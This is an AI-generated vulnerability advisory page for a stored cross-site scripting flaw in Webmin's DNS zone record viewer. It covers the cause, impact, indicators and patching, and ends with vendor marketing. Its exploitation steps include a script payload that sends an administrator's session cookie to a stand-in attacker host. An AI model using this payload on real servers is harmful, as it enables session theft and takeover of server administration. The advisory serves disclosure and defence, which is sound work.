Vulnerability DatabaseCVE-2026-125392

CVE-2026-125392: 
Webmin vulnerability analysis and mitigation

Overview

CVE-2026-125392 is a stored cross-site scripting (XSS) vulnerability in Webmin through version 2.670, located in the bind8/edit_recs.cgi script. The flaw causes raw DNS record values to be output without HTML escaping when the zone record viewer is in ALL view mode, allowing delegated zone users (such as Virtualmin domain owners) to inject malicious scripts that execute in an administrator's browser. It was published on November 10, 2026, with a patch available via GitHub commit. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (Github Advisory, Feedly).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically at line 271 of bind8/edit_recs.cgi in Webmin 2.670, where the $joined variable — a concatenation of DNS record values — is pushed directly into the HTML output column array without being passed through the html_escape() function (Webmin Source). This omission only affects the ALL view mode code path; other record-type-specific paths do apply html_escape(). An attacker with delegated zone management privileges (e.g., a Virtualmin domain owner) can craft a DNS record value containing a <script> payload and save it to their zone. When a Webmin administrator subsequently navigates to the zone records page in ALL view mode, the stored script executes in the administrator's browser session (Github Advisory, Webmin Commit).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an authenticated administrator's browser session, enabling session cookie theft, forged administrative actions, or unauthorized modification of DNS configurations. Because the script runs with administrator-level privileges in the Webmin interface, an attacker could potentially pivot to broader server management actions available through Webmin. Confidentiality and integrity of both the vulnerable system and subsequent systems are assessed as low impact, with no availability impact (Github Advisory, Feedly).

Exploitability

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.17–0.21%, placing it in roughly the 12th percentile for exploitation likelihood within 30 days (Github Advisory). Exploitation requires the attacker to already hold low-privileged delegated zone access and requires an administrator to view the affected zone records, limiting the attack surface.

Exploitation steps

  1. Obtain delegated zone access: Acquire or compromise a Virtualmin domain owner account or another delegated zone user account on the target Webmin/Virtualmin installation running version 2.670 or earlier.
  2. Craft a malicious DNS record: Log in as the delegated zone user and navigate to DNS record management for a zone under your control. Create or edit a DNS record (e.g., a TXT record) and set its value to a JavaScript payload such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script>.
  3. Save the record: Submit the record to store the malicious payload in the zone file on the server.
  4. Wait for administrator review: The payload remains dormant until a Webmin administrator navigates to the zone's record listing page (bind8/edit_recs.cgi) and selects the ALL view mode, which triggers rendering of all record values without HTML escaping.
  5. Harvest results: When the administrator's browser renders the page, the injected script executes in their session context, sending session cookies or performing actions (e.g., adding admin accounts, modifying DNS records) on behalf of the administrator (Github Advisory, Webmin Source).

Indicators of compromise

  • Network: Outbound HTTP requests from the Webmin server or administrator's browser to unexpected external hosts shortly after an administrator views zone records; requests containing URL-encoded cookie data or session tokens in query parameters.
  • Logs: Webmin access logs showing requests to bind8/edit_recs.cgi with type=ALL parameter from administrator accounts, particularly following recent DNS record modifications by delegated zone users.
  • DNS Zone Files: Presence of HTML or JavaScript content (e.g., <script>, javascript:, onerror=) within DNS record values (TXT, CNAME, MX, or other record types) in zone files managed by delegated users.
  • Webmin Audit Logs: Unexpected administrative actions (e.g., new user creation, configuration changes) logged immediately after an administrator viewed zone records, potentially indicating script-driven actions.

Mitigation and workarounds

Update Webmin to a version released after 2.670, which includes the fix applied in commit 224cbd9 that adds html_escape() around the $joined variable in the ALL view mode code path of bind8/edit_recs.cgi (Webmin Commit). As a workaround until patching is possible, restrict DNS record editing permissions to trusted administrators only and disable delegated zone management for untrusted users. Additionally, avoid using the ALL view mode when reviewing zones managed by delegated users, and monitor zone files for unexpected script-like content in record values (Github Advisory).

Additional resources


Source: This report was generated using AI

Related Webmin vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-126780HIGH8.6
  • Webmin logoWebmin
  • cpe:2.3:a:webmin:webmin
NoNoNov 11, 2026
CVE-2026-125391HIGH8.6
  • Webmin logoWebmin
  • cpe:2.3:a:webmin:webmin
NoNoNov 10, 2026
CVE-2026-126781HIGH7.7
  • Webmin logoWebmin
  • cpe:2.3:a:webmin:webmin
NoNoNov 11, 2026
CVE-2026-125392MEDIUM5.1
  • Webmin logoWebmin
  • cpe:2.3:a:webmin:webmin
NoNoNov 10, 2026
CVE-2026-124552MEDIUM4.8
  • Webmin logoWebmin
  • cpe:2.3:a:webmin:webmin
NoNoNov 08, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management